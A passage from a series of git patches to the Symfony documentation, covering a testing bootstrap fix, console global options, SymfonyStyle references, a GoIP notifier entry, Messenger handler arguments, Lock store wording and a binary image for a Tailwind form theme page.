-    where you can ask for missing required options/arguments, this method is
+    where you can ask for missing required options/arguments. This method is
     called before validating the input.
     Note that it will not be called when the command is run without interaction
     (e.g. when passing the ``--no-interaction`` global option flag).

From 93217a3e6a2d39e666350a8e3b5644f4bfe6eedb Mon Sep 17 00:00:00 2001
From: dellamowica <clement.d@bureauxapartager.com>
Date: Fri, 28 Jul 2023 09:30:11 +0200
Subject: [PATCH 4998/7107] Fix wrong env variable name

---
 testing/bootstrap.rst | 33 ++++++---------------------------
 1 file changed, 6 insertions(+), 27 deletions(-)

diff --git a/testing/bootstrap.rst b/testing/bootstrap.rst
index c075552a9e3..55d567df6aa 100644
--- a/testing/bootstrap.rst
+++ b/testing/bootstrap.rst
@@ -25,14 +25,12 @@ You can modify this file to add custom logic:
           (new Dotenv())->bootEnv(dirname(__DIR__).'/.env');
       }
 
-    + if (isset($_ENV['BOOTSTRAP_CLEAR_CACHE_ENV'])) {
-    +     // executes the "php bin/console cache:clear" command
-    +     passthru(sprintf(
-    +         'APP_ENV=%s php "%s/../bin/console" cache:clear --no-warmup',
-    +         $_ENV['BOOTSTRAP_CLEAR_CACHE_ENV'],
-    +         __DIR__
-    +     ));
-    + }
+    + // executes the "php bin/console cache:clear" command
+    + passthru(sprintf(
+    +   'APP_ENV=%s php "%s/../bin/console" cache:clear --no-warmup',
+    +   $_ENV['APP_ENV'],
+    +   __DIR__
+    + ));
 
 .. note::
 
@@ -48,22 +46,3 @@ You can modify this file to add custom logic:
         >
             <!-- ... -->
         </phpunit>
-
-Now, you can update the ``phpunit.xml.dist`` file to declare the custom
-environment variable introduced to ``tests/bootstrap.php``:
-
-.. code-block:: xml
-
-    <!-- phpunit.xml.dist -->
-    <?xml version="1.0" encoding="UTF-8" ?>
-    <phpunit>
-        <php>
-            <env name="BOOTSTRAP_CLEAR_CACHE_ENV" value="test"/>
-            <!-- ... -->
-        </php>
-
-        <!-- ... -->
-    </phpunit>
-
-Now, when running ``vendor/bin/phpunit``, the cache will be cleared
-automatically by the bootstrap file before running all tests.

From c12f5feeb3f6694c492eefaff875065832e6ac1f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 10 Aug 2023 17:54:57 +0200
Subject: [PATCH 4999/7107] Readd paragraph

---
 testing/bootstrap.rst | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/testing/bootstrap.rst b/testing/bootstrap.rst
index 55d567df6aa..59fc289f0be 100644
--- a/testing/bootstrap.rst
+++ b/testing/bootstrap.rst
@@ -46,3 +46,6 @@ You can modify this file to add custom logic:
         >
             <!-- ... -->
         </phpunit>
+
+Now, when running ``vendor/bin/phpunit``, the cache will be cleared
+automatically by the bootstrap file before running all tests.

From 47b30d0b40b5f66b0c6dd159d2ea56142624dd11 Mon Sep 17 00:00:00 2001
From: Jules Pietri <heahdude@yahoo.fr>
Date: Fri, 11 Aug 2023 13:59:53 +0200
Subject: [PATCH 5000/7107] [Console] Add a section for global options

---
 console.rst       | 11 +++++++++++
 console/input.rst | 22 ++++++++++++++++++++++
 2 files changed, 33 insertions(+)

diff --git a/console.rst b/console.rst
index 28b560d1f9b..6eb9dd10148 100644
--- a/console.rst
+++ b/console.rst
@@ -28,6 +28,10 @@ the ``list`` command to view all available commands in the application:
       cache:clear                                Clear the cache
     ...
 
+.. note::
+
+    ``list`` is the default command, so running ``php bin/console`` is the same.
+
 If you find the command you need, you can run it with the ``--help`` option
 to view the command's documentation:
 
@@ -35,6 +39,13 @@ to view the command's documentation:
 
     $ php bin/console assets:install --help
 
+.. note::
+
+    ``--help`` is one of the built-in global options from the Console component,
+    which are available for all commands, including those you can create.
+    To learn more about them, you can read
+    :ref:`this section <console-global-options>`.
+
 APP_ENV & APP_DEBUG
 ~~~~~~~~~~~~~~~~~~~
 
diff --git a/console/input.rst b/console/input.rst
index 6a242185034..3abf3a37b9b 100644
--- a/console/input.rst
+++ b/console/input.rst
@@ -404,4 +404,26 @@ to help you unit test the completion logic::
         }
     }
 
+.. _console-global-options:
+
+Command Global Options
+----------------------
+
+The Console component adds some predefined options to all commands:
+
+* ``--verbose``: sets the verbosity level (e.g. ``1`` the default, ``2`` and
+  ``3``, or you can use respective shortcuts ``-v``, ``-vv`` and ``-vvv``)
+* ``--quiet``: disables output and interaction
+* ``--no-interaction``: disables interaction
+* ``--version``: outputs the version number of the console application
+* ``--help``: displays the command help
+* ``--ansi|--no-ansi``: whether to force of disable coloring the output
+
+When using the ``FrameworkBundle``, two more options are predefined:
+
+* ``--env``: sets the Kernel configuration environment (defaults to ``APP_ENV``)
+* ``--no-debug``: disables Kernel debug (defaults to ``APP_DEBUG``)
+
+So your custom commands can use them too out-of-the-box.
+
 .. _`docopt standard`: http://docopt.org/

From d19f25c1480c7732652006c9bdaa7faa30b2def4 Mon Sep 17 00:00:00 2001
From: Jules Pietri <heahdude@yahoo.fr>
Date: Fri, 11 Aug 2023 15:17:05 +0200
Subject: [PATCH 5001/7107] [Console] Add `ProcessHelper` link to the list of
 helpers

---
 components/console/helpers/processhelper.rst | 9 +++++----
 console.rst                                  | 1 +
 2 files changed, 6 insertions(+), 4 deletions(-)

diff --git a/components/console/helpers/processhelper.rst b/components/console/helpers/processhelper.rst
index ef462cef731..e3f1c8a09d2 100644
--- a/components/console/helpers/processhelper.rst
+++ b/components/console/helpers/processhelper.rst
@@ -1,11 +1,12 @@
 Process Helper
 ==============
 
-The Process Helper shows processes as they're running and reports
-useful information about process status.
+The Process Helper shows processes as they're running and reports useful
+information about process status.
 
-To display process details, use the :class:`Symfony\\Component\\Console\\Helper\\ProcessHelper`
-and run your command with verbosity. For example, running the following code with
+To display process details, use the
+:class:`Symfony\\Component\\Console\\Helper\\ProcessHelper` and run your command
+with verbosity. For example, running the following code with
 a very verbose verbosity (e.g. ``-vv``)::
 
     use Symfony\Component\Process\Process;
diff --git a/console.rst b/console.rst
index 28b560d1f9b..ee4f5db48e7 100644
--- a/console.rst
+++ b/console.rst
@@ -593,6 +593,7 @@ tools capable of helping you with different tasks:
 * :doc:`/components/console/helpers/table`: displays tabular data as a table
 * :doc:`/components/console/helpers/debug_formatter`: provides functions to
   output debug information when running an external program
+* :doc:`/components/console/helpers/processhelper`: allows to run processes using ``DebugProcessHelper``
 * :doc:`/components/console/helpers/cursor`: allows to manipulate the cursor in the terminal
 
 .. _`exit status`: https://en.wikipedia.org/wiki/Exit_status

From e98545b603dda7f131fec4a39ac7f01e4f39e5f0 Mon Sep 17 00:00:00 2001
From: Jules Pietri <heahdude@yahoo.fr>
Date: Fri, 11 Aug 2023 16:46:44 +0200
Subject: [PATCH 5002/7107] [Console] Mention `SymfonyStyle` in helpers doc

---
 .../console/helpers/formatterhelper.rst       |  8 +++-
 components/console/helpers/progressbar.rst    |  5 ++
 components/console/helpers/questionhelper.rst | 47 ++++++++++---------
 components/console/helpers/table.rst          |  9 +++-
 console/style.rst                             |  8 ++++
 5 files changed, 53 insertions(+), 24 deletions(-)

diff --git a/components/console/helpers/formatterhelper.rst b/components/console/helpers/formatterhelper.rst
index 4e3f11940fd..135a5898778 100644
--- a/components/console/helpers/formatterhelper.rst
+++ b/components/console/helpers/formatterhelper.rst
@@ -13,7 +13,13 @@ in the default helper set and you can get it by calling
 
 The methods return a string, which you'll usually render to the console by
 passing it to the
-:method:`OutputInterface::writeln <Symfony\\Component\\Console\\Output\\OutputInterface::writeln>` method.
+:method:`OutputInterface::writeln <Symfony\\Component\\Console\\Output\\OutputInterface::writeln>`
+method.
+
+.. note::
+
+    As an alternative, consider using the
+    :ref:`SymfonyStyle <symfony-style-blocks>` to display stylized blocks.
 
 Print Messages in a Section
 ---------------------------
diff --git a/components/console/helpers/progressbar.rst b/components/console/helpers/progressbar.rst
index 3e43452a737..dd4e5ec7f78 100644
--- a/components/console/helpers/progressbar.rst
+++ b/components/console/helpers/progressbar.rst
@@ -6,6 +6,11 @@ information, which updates as your command runs:
 
 .. image:: /_images/components/console/progressbar.gif
 
+.. note::
+
+    As an alternative, consider using the
+    :ref:`SymfonyStyle <symfony-style-progressbar>` to display a progress bar.
+
 To display progress details, use the
 :class:`Symfony\\Component\\Console\\Helper\\ProgressBar`, pass it a total
 number of units, and advance the progress as the command executes::
diff --git a/components/console/helpers/questionhelper.rst b/components/console/helpers/questionhelper.rst
index 01c7174e723..07cc75877b5 100644
--- a/components/console/helpers/questionhelper.rst
+++ b/components/console/helpers/questionhelper.rst
@@ -15,6 +15,11 @@ first argument, an :class:`Symfony\\Component\\Console\\Output\\OutputInterface`
 instance as the second argument and a
 :class:`Symfony\\Component\\Console\\Question\\Question` as last argument.
 
+.. note::
+
+    As an alternative, consider using the
+    :ref:`SymfonyStyle <symfony-style-questions>` to ask questions.
+
 Asking the User for Confirmation
 --------------------------------
 
@@ -82,9 +87,9 @@ if you want to know a bundle name, you can add this to your command::
         $question = new Question('Please enter the name of the bundle', 'AcmeDemoBundle');
 
         $bundleName = $helper->ask($input, $output, $question);
-        
+
         // ... do something with the bundleName
-        
+
         return Command::SUCCESS;
     }
 
@@ -120,7 +125,7 @@ from a predefined list::
         $output->writeln('You have just selected: '.$color);
 
         // ... do something with the color
-        
+
         return Command::SUCCESS;
     }
 
@@ -162,7 +167,7 @@ this use :method:`Symfony\\Component\\Console\\Question\\ChoiceQuestion::setMult
 
         $colors = $helper->ask($input, $output, $question);
         $output->writeln('You have just selected: ' . implode(', ', $colors));
-        
+
         return Command::SUCCESS;
     }
 
@@ -191,9 +196,9 @@ will be autocompleted as the user types::
         $question->setAutocompleterValues($bundles);
 
         $bundleName = $helper->ask($input, $output, $question);
-        
+
         // ... do something with the bundleName
-        
+
         return Command::SUCCESS;
     }
 
@@ -230,9 +235,9 @@ provide a callback function to dynamically generate suggestions::
         $question->setAutocompleterCallback($callback);
 
         $filePath = $helper->ask($input, $output, $question);
-        
+
         // ... do something with the filePath
-        
+
         return Command::SUCCESS;
     }
 
@@ -254,9 +259,9 @@ You can also specify if you want to not trim the answer by setting it directly w
         $question->setTrimmable(false);
         // if the users inputs 'elsa ' it will not be trimmed and you will get 'elsa ' as value
         $name = $helper->ask($input, $output, $question);
-        
+
         // ... do something with the name
-        
+
         return Command::SUCCESS;
     }
 
@@ -285,9 +290,9 @@ the response to a question should allow multiline answers by passing ``true`` to
         $question->setMultiline(true);
 
         $answer = $helper->ask($input, $output, $question);
-        
+
         // ... do something with the answer
-        
+
         return Command::SUCCESS;
     }
 
@@ -313,9 +318,9 @@ convenient for passwords::
         $question->setHiddenFallback(false);
 
         $password = $helper->ask($input, $output, $question);
-        
+
         // ... do something with the password
-        
+
         return Command::SUCCESS;
     }
 
@@ -347,7 +352,7 @@ convenient for passwords::
             QuestionHelper::disableStty();
 
             // ...
-            
+
             return Command::SUCCESS;
         }
 
@@ -376,9 +381,9 @@ method::
         });
 
         $bundleName = $helper->ask($input, $output, $question);
-        
+
         // ... do something with the bundleName
-        
+
         return Command::SUCCESS;
     }
 
@@ -420,9 +425,9 @@ method::
         $question->setMaxAttempts(2);
 
         $bundleName = $helper->ask($input, $output, $question);
-        
+
         // ... do something with the bundleName
-        
+
         return Command::SUCCESS;
     }
 
@@ -482,9 +487,9 @@ You can also use a validator with a hidden question::
         $question->setMaxAttempts(20);
 
         $password = $helper->ask($input, $output, $question);
-        
+
         // ... do something with the password
-        
+
         return Command::SUCCESS;
     }
 
diff --git a/components/console/helpers/table.rst b/components/console/helpers/table.rst
index e3bb282ed7e..e83ed352a3e 100644
--- a/components/console/helpers/table.rst
+++ b/components/console/helpers/table.rst
@@ -14,6 +14,11 @@ When building a console application it may be useful to display tabular data:
     | 80-902734-1-6 | And Then There Were None | Agatha Christie  |
     +---------------+--------------------------+------------------+
 
+.. note::
+
+    As an alternative, consider using the
+    :ref:`SymfonyStyle <symfony-style-content>` to display a table.
+
 To display a table, use :class:`Symfony\\Component\\Console\\Helper\\Table`,
 set the headers, set the rows and then render the table::
 
@@ -38,7 +43,7 @@ set the headers, set the rows and then render the table::
                 ])
             ;
             $table->render();
-            
+
             return Command::SUCCESS;
         }
     }
@@ -414,7 +419,7 @@ The only requirement to append rows is that the table must be rendered inside a
             $table->render();
 
             $table->appendRow(['Symfony']);
-            
+
             return Command::SUCCESS;
         }
     }
diff --git a/console/style.rst b/console/style.rst
index 59ad22ba3fa..98ab5d66b38 100644
--- a/console/style.rst
+++ b/console/style.rst
@@ -96,6 +96,8 @@ Titling Methods
 
         // ...
 
+.. _symfony-style-content:
+
 Content Methods
 ~~~~~~~~~~~~~~~
 
@@ -219,6 +221,8 @@ Admonition Methods
             'Aenean sit amet arcu vitae sem faucibus porta',
         ]);
 
+.. _symfony-style-progressbar:
+
 Progress Bar Methods
 ~~~~~~~~~~~~~~~~~~~~
 
@@ -267,6 +271,8 @@ Progress Bar Methods
     Creates an instance of :class:`Symfony\\Component\\Console\\Helper\\ProgressBar`
     styled according to the Symfony Style Guide.
 
+.. _symfony-style-questions:
+
 User Input Methods
 ~~~~~~~~~~~~~~~~~~
 
@@ -329,6 +335,8 @@ User Input Methods
 
         $io->choice('Select the queue to analyze', ['queue1', 'queue2', 'queue3'], 'queue1');
 
+.. _symfony-style-blocks:
+
 Result Methods
 ~~~~~~~~~~~~~~
 

From 96ebe0656372dbfa8befa593188f782fbe763ef4 Mon Sep 17 00:00:00 2001
From: Ahmed Ghanem <ahmedghanem7361@gmail.com>
Date: Sat, 12 Aug 2023 00:17:31 +0300
Subject: [PATCH 5003/7107] [Notifier] Add GoIP bridge

---
 notifier.rst | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index d86968b78c7..2988ad8b599 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -69,6 +69,7 @@ Service             Package                                DSN
 `FakeSms`_          ``symfony/fake-sms-notifier``          ``fakesms+email://MAILER_SERVICE_ID?to=TO&from=FROM`` or ``fakesms+logger://default``
 `FreeMobile`_       ``symfony/free-mobile-notifier``       ``freemobile://LOGIN:API_KEY@default?phone=PHONE``
 `GatewayApi`_       ``symfony/gateway-api-notifier``       ``gatewayapi://TOKEN@default?from=FROM``
+`GoIP`_             ``symfony/goip-notifier``              ``goip://USERNAME:PASSWORD@HOST:80?sim_slot=SIM_SLOT``
 `Infobip`_          ``symfony/infobip-notifier``           ``infobip://AUTH_TOKEN@HOST?from=FROM``
 `Iqsms`_            ``symfony/iqsms-notifier``             ``iqsms://LOGIN:PASSWORD@default?from=FROM``
 `iSendPro`_         ``symfony/isendpro-notifier``          ``isendpro://ACCOUNT_KEY_ID@default?from=FROM&no_stop=NO_STOP&sandbox=SANDBOX``
@@ -465,7 +466,7 @@ Service          Package                               DSN
 
 .. versionadded:: 6.4
 
-    The Novu and Ntfy integrations were introduced in Symfony 6.4.
+    The Novu, Ntfy and GoIP integrations were introduced in Symfony 6.4.
 
 To enable a texter, add the correct DSN in your ``.env`` file and
 configure the ``texter_transports``:
@@ -1012,6 +1013,7 @@ is dispatched. Listeners receive a
 .. _`FreeMobile`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/FreeMobile/README.md
 .. _`GatewayApi`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/GatewayApi/README.md
 .. _`Gitter`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Gitter/README.md
+.. _`GoIP`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/GoIP/README.md
 .. _`GoogleChat`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/GoogleChat/README.md
 .. _`Infobip`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Infobip/README.md
 .. _`Iqsms`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Iqsms/README.md

From a94292604f8ad6f36d8b1b7db4e790a6be1ed8a3 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Mon, 14 Aug 2023 09:31:10 +0200
Subject: [PATCH 5004/7107] [Messenger] Delete obsolete `versionadded`
 directive

Fixes #16535
---
 messenger.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index 64704f65b4e..6835e8dff11 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -2404,10 +2404,6 @@ middleware and *only* include your own:
 Middleware for Doctrine
 ~~~~~~~~~~~~~~~~~~~~~~~
 
-.. versionadded:: 1.11
-
-    The following Doctrine middleware was introduced in DoctrineBundle 1.11.
-
 If you use Doctrine in your app, a number of optional middleware exist that you
 may want to use:
 

From 2f275d87eee181ed465b3c4b4e53bc01901fb1df Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Mon, 14 Aug 2023 09:50:23 +0200
Subject: [PATCH 5005/7107] Minor

---
 service_container.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/service_container.rst b/service_container.rst
index 5b15dd83356..b372ae2b018 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -346,8 +346,8 @@ made. To do that, you create a new class::
 
     class SiteUpdateManager
     {
-        private $messageGenerator;
-        private $mailer;
+        private MessageGenerator $messageGenerator;
+        private MailerInterface $mailer;
 
         public function __construct(MessageGenerator $messageGenerator, MailerInterface $mailer)
         {

From 97ccd6c6722c4e2e2ff751667a3ea36e6e233dd7 Mon Sep 17 00:00:00 2001
From: PEHAUT-PIETRI Valmont <valmont.p@hotmail.com>
Date: Mon, 14 Aug 2023 09:53:17 +0200
Subject: [PATCH 5006/7107] [Validator] add section for overridden properties

---
 validation.rst | 21 +++++++++++++++++++++
 1 file changed, 21 insertions(+)

diff --git a/validation.rst b/validation.rst
index 33b578216dd..661bf14252e 100644
--- a/validation.rst
+++ b/validation.rst
@@ -730,6 +730,27 @@ constraint that's applied to the class itself. When that class is validated,
 methods specified by that constraint are simply executed so that each can
 provide more custom validation.
 
+Validating Object With Inheritance
+----------------------------------
+
+When you validate an object that extends another class, the validator
+automatically validates constraints defined in the parent class as well.
+
+.. caution::
+
+    Note that overriding a property with others constraints in a child class
+    will not remove the constraints defined in the parent class on that same
+    property.
+    Instead, the constraints will be merged for that property.
+    This is related to Java Language Specification.
+
+.. tip::
+
+    If you want to override constraints defined in the parent class, you should
+    define them in a different validation group instead and validate the object
+    with that group.
+    See :doc:`Validation Groups </validation/groups>` for more information.
+
 Debugging the Constraints
 -------------------------
 

From 756a0caba91f35a344f22f9c01dbe79451b6b442 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?J=C3=A1chym=20Tou=C5=A1ek?= <enumag@gmail.com>
Date: Fri, 4 Nov 2022 10:13:24 +0100
Subject: [PATCH 5007/7107] [Messenger] HandlerArgumentsStamp

---
 messenger.rst | 53 +++++++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 53 insertions(+)

diff --git a/messenger.rst b/messenger.rst
index b8148dc93c4..34582ec8bc8 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -2513,6 +2513,59 @@ of the process. For each, the event class is the event name:
 
     The ``WorkerRateLimitedEvent`` was introduced in Symfony 6.2.
 
+Additional Handler Arguments
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+It's possible to have messenger pass additional data to the message handler
+using the :class:`Symfony\\Component\\Messenger\\Stamp\\HandlerArgumentsStamp`.
+Add this stamp to the envelope in a middleware and fill it with any additional
+data you want to have available in the handler::
+
+    // src/Messenger/AdditionalArgumentMiddleware.php
+    namespace App\Messenger;
+
+    use Symfony\Component\Messenger\Envelope;
+    use Symfony\Component\Messenger\Middleware\MiddlewareInterface;
+    use Symfony\Component\Messenger\Middleware\StackInterface;
+    use Symfony\Component\Messenger\Stamp\HandlerArgumentsStamp;
+
+    final class AdditionalArgumentMiddleware implements MiddlewareInterface
+    {
+        public function handle(Envelope $envelope, StackInterface $stack): Envelope
+        {
+            $envelope = $envelope->with(new HandlerArgumentsStamp([
+                $this->resolveAdditionalArgument($envelope->getMessage()),
+            ]));
+
+            return $stack->next()->handle($envelope, $stack);
+        }
+
+        private function resolveAdditionalArgument(object $message): mixed
+        {
+            // ...
+        }
+    }
+
+Then your handler will look like this::
+
+    // src/MessageHandler/SmsNotificationHandler.php
+    namespace App\MessageHandler;
+
+    use App\Message\SmsNotification;
+
+    class SmsNotificationHandler
+    {
+        public function __invoke(SmsNotification $message, mixed $additionalArgument)
+        {
+            // ...
+        }
+    }
+
+.. versionadded:: 6.2
+
+    The :class:`Symfony\\Component\\Messenger\\Stamp\\HandlerArgumentsStamp`
+    was introduced in Symfony 6.2.
+
 Multiple Buses, Command & Event Buses
 -------------------------------------
 

From 8f966c06ed10a06c8908c94a264b5a3c95af739f Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Mon, 14 Aug 2023 10:02:44 +0200
Subject: [PATCH 5008/7107] Minor

---
 messenger.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index 34582ec8bc8..3a00b1f4c57 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -2553,7 +2553,7 @@ Then your handler will look like this::
 
     use App\Message\SmsNotification;
 
-    class SmsNotificationHandler
+    final class SmsNotificationHandler
     {
         public function __invoke(SmsNotification $message, mixed $additionalArgument)
         {

From 6d0552c954e534e8438388db0c3ca29187926c73 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Mon, 14 Aug 2023 10:47:37 +0200
Subject: [PATCH 5009/7107] Ref for autowiring alias

Replaces
* https://github.com/symfony/symfony-docs/pull/17051
---
 service_container.rst            | 4 +++-
 service_container/autowiring.rst | 2 ++
 2 files changed, 5 insertions(+), 1 deletion(-)

diff --git a/service_container.rst b/service_container.rst
index b372ae2b018..fa3681e06f9 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -1286,7 +1286,9 @@ admin email. In this case, each needs to have a unique service id:
 In this case, *two* services are registered: ``site_update_manager.superadmin``
 and ``site_update_manager.normal_users``. Thanks to the alias, if you type-hint
 ``SiteUpdateManager`` the first (``site_update_manager.superadmin``) will be passed.
-If you want to pass the second, you'll need to :ref:`manually wire the service <services-wire-specific-service>`.
+
+If you want to pass the second, you'll need to :ref:`manually wire the service <services-wire-specific-service>`
+or to create a named ref:`autowiring alias <autowiring-alias>`.
 
 .. caution::
 
diff --git a/service_container/autowiring.rst b/service_container/autowiring.rst
index cd53bbeef35..85b649778bf 100644
--- a/service_container/autowiring.rst
+++ b/service_container/autowiring.rst
@@ -423,6 +423,8 @@ Additionally, you can define several named autowiring aliases if you want to use
 one implementation in some cases, and another implementation in some
 other cases.
 
+.. _autowiring-alias:
+
 For instance, you may want to use the ``Rot13Transformer``
 implementation by default when the ``TransformerInterface`` interface is
 type hinted, but use the ``UppercaseTransformer`` implementation in some

From 2802d22ff7dc6bb9ba51fbfec1970ab2dcd1d415 Mon Sep 17 00:00:00 2001
From: johan Vlaar <johan@adivare.nl>
Date: Mon, 14 Aug 2023 10:56:15 +0200
Subject: [PATCH 5010/7107] [Lock] 15952 Remove mention off DBAL Connection
 support for locking

---
 components/lock.rst | 12 +++++-------
 1 file changed, 5 insertions(+), 7 deletions(-)

diff --git a/components/lock.rst b/components/lock.rst
index b504abbfc74..77334d0240a 100644
--- a/components/lock.rst
+++ b/components/lock.rst
@@ -513,13 +513,12 @@ MongoDB Connection String:
 PdoStore
 ~~~~~~~~
 
-The PdoStore saves locks in an SQL database. It is identical to DoctrineDbalStore
-but requires a `PDO`_ connection or a `Data Source Name (DSN)`_. This store does
-not support blocking, and expects a TTL to avoid stalled locks::
+The PdoStore saves locks in an SQL database. It requires a `PDO`_ connection or a `Data Source Name (DSN)`_. This store does not
+support blocking, and expects a TTL to avoid stalled locks::
 
     use Symfony\Component\Lock\Store\PdoStore;
 
-    // a PDO or DSN for lazy connecting through PDO
+    // a PDO instance or DSN for lazy connecting through PDO
     $databaseConnectionOrDSN = 'mysql:host=127.0.0.1;dbname=app';
     $store = new PdoStore($databaseConnectionOrDSN, ['db_username' => 'myuser', 'db_password' => 'mypassword']);
 
@@ -579,9 +578,8 @@ the :method:`Symfony\\Component\\Lock\\Store\\DoctrineDbalStore::save` method.
 PostgreSqlStore
 ~~~~~~~~~~~~~~~
 
-The PostgreSqlStore and DoctrineDbalPostgreSqlStore uses `Advisory Locks`_ provided by PostgreSQL.
-It is identical to DoctrineDbalPostgreSqlStore but requires `PDO`_ connection or
-a `Data Source Name (DSN)`_. It supports native blocking, as well as sharing
+The PostgreSqlStore uses `Advisory Locks`_ provided by PostgreSQL. It requires a
+`PDO`_ connection or a `Data Source Name (DSN)`_. It supports native blocking, as well as sharing
 locks::
 
     use Symfony\Component\Lock\Store\PostgreSqlStore;

From f0f0289a0023c41cb30b58edcebdb8355c27b82c Mon Sep 17 00:00:00 2001
From: rcsofttech85 <rcsofttech85@gmail.com>
Date: Mon, 14 Aug 2023 16:13:06 +0530
Subject: [PATCH 5011/7107] typo fix

---
 service_container.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/service_container.rst b/service_container.rst
index fe16ee1d66f..f1da9c3d203 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -1443,7 +1443,7 @@ Thanks to the ``#[AutowireCallable]`` attribute, you can now inject this
         ) {
         }
 
-        public function sendMail($string $message, array $parameters): string
+        public function sendMail(string $message, array $parameters): string
         {
             $formattedMessage = $this->formatter->format($message, $parameters);
 

From 0136cae526ff8f8c104dbf20c49cef8909d139ce Mon Sep 17 00:00:00 2001
From: jmsche <contact@jmsche.fr>
Date: Mon, 14 Aug 2023 16:14:13 +0200
Subject: [PATCH 5012/7107] [Frontend] Create a UX bundle: fix code block
 indentation

---
 frontend/create_ux_bundle.rst | 32 ++++++++++++++++----------------
 1 file changed, 16 insertions(+), 16 deletions(-)

diff --git a/frontend/create_ux_bundle.rst b/frontend/create_ux_bundle.rst
index 095b9c6d84b..12002d10356 100644
--- a/frontend/create_ux_bundle.rst
+++ b/frontend/create_ux_bundle.rst
@@ -70,22 +70,22 @@ In this case, the file located at ``[assets directory]/dist/controller.js`` will
 
     1. Add the following to your ``package.json`` file:
 
-    .. code-block:: json
-
-        {
-            "scripts": {
-                "build": "babel src --extensions .ts -d dist"
-            },
-            "devDependencies": {
-                "@babel/cli": "^7.20.7",
-                "@babel/core": "^7.20.12",
-                "@babel/plugin-proposal-class-properties": "^7.18.6",
-                "@babel/preset-env": "^7.20.2",
-                "@babel/preset-typescript": "^7.18.6",
-                "@hotwired/stimulus": "^3.2.1",
-                "typescript": "^4.9.5"
-            }
-        }
+       .. code-block:: json
+
+           {
+               "scripts": {
+                   "build": "babel src --extensions .ts -d dist"
+               },
+               "devDependencies": {
+                   "@babel/cli": "^7.20.7",
+                   "@babel/core": "^7.20.12",
+                   "@babel/plugin-proposal-class-properties": "^7.18.6",
+                   "@babel/preset-env": "^7.20.2",
+                   "@babel/preset-typescript": "^7.18.6",
+                   "@hotwired/stimulus": "^3.2.1",
+                   "typescript": "^4.9.5"
+               }
+           }
 
     2. Run either ``npm install`` or ``yarn install`` to install the new dependencies.
 

From 49470102e884275fd3eefb3d8ee227a1c595d92d Mon Sep 17 00:00:00 2001
From: Kevin Bond <kevinbond@gmail.com>
Date: Fri, 9 Apr 2021 11:46:53 -0400
Subject: [PATCH 5013/7107] [Form] add tailwindcss form theme docs

---
 _images/form/tailwindcss-form.png | Bin 0 -> 38574 bytes
 form/tailwindcss.rst              |  95 ++++++++++++++++++++++++++++++
 forms.rst                         |   1 +
 3 files changed, 96 insertions(+)
 create mode 100644 _images/form/tailwindcss-form.png
 create mode 100644 form/tailwindcss.rst

diff --git a/_images/form/tailwindcss-form.png b/_images/form/tailwindcss-form.png
new file mode 100644
index 0000000000000000000000000000000000000000..8a290749149b5f0c5c5c2f897cbadc1a6be081da
GIT binary patch
literal 38574
zcmd?RbySqm`!6a(3Ifs{N{N)z(4h!OgLDrq(%mHjN{4hR-9vY$r1a1XLr8bm9l-B7
z_m3ODd(Jv{-L>vNx?bLQ_I`Ff`}ur6&)(k^<s~uENztD?d4ehR;r+)aPY@tao*=$J
zLxKNAW;Vm%$rI`)Qt#iYxaw`syXnNLF83S^59EOu`Cm&&N&S?PMotPakxrE1z)K>N
zt6lvVEN4wu`zt>K_Jz*$bIz9*FqgPw4;@~AG*@i!w~u&|%qm<+M9-7FOB;N@W%%mU
z5;b4P&#eotyQL%Q51k(8irk*Vu#f2wo_-Jo;6{ojqF+lPXy>H8mW4n0BGH2I6<Z5v
z9^UyPF;i#wRy`>Q{sDhMjqvmpXae>AfB0L%=ZdXbPgKRF?+fuo!Uu06KKz^-0R!z7
zh{d<yCEeqP=o%;gs`5ofdJP0saD0$QUYDq1+5hzV<71VIb^sGfu;!KN$jO98<64nn
zcMK2uP({(sUI!9=nNK!07J*rYfXrh}eL5NE2n{xbR;Wb`b-l00f2}v9zwzhU*gw>3
zT+r)C!K#9;STAUjMr=hs;pgu2InY!)J2OZER1c7;B0pFw+J%8H0vaYa9?O-=BHQxx
zgJg$5-V1bN9&khm@7Q|HptAJ<u&W$iVmG-b7;H_x*+xLN?Bc2W{Mew?7mC-uO*z1|
z5wq?O&feQWM`51}d|4u#$AupHrnL{LPZ-pas1QWtyi{d~!AXf6ig5MaZN<X%lJxp!
zXV|qt3`e<hL!``Ek9hBzA#J6Iv{rbtqn9xgU6xHd@mB%OV~4$>R+LBZh&=VnJom^X
z?Vc478Bbda4?woW?Z3HXXDMSBLcHF$KmRTVwfI&%ACwm%2{q3>jd>g@NT4VmvgN@f
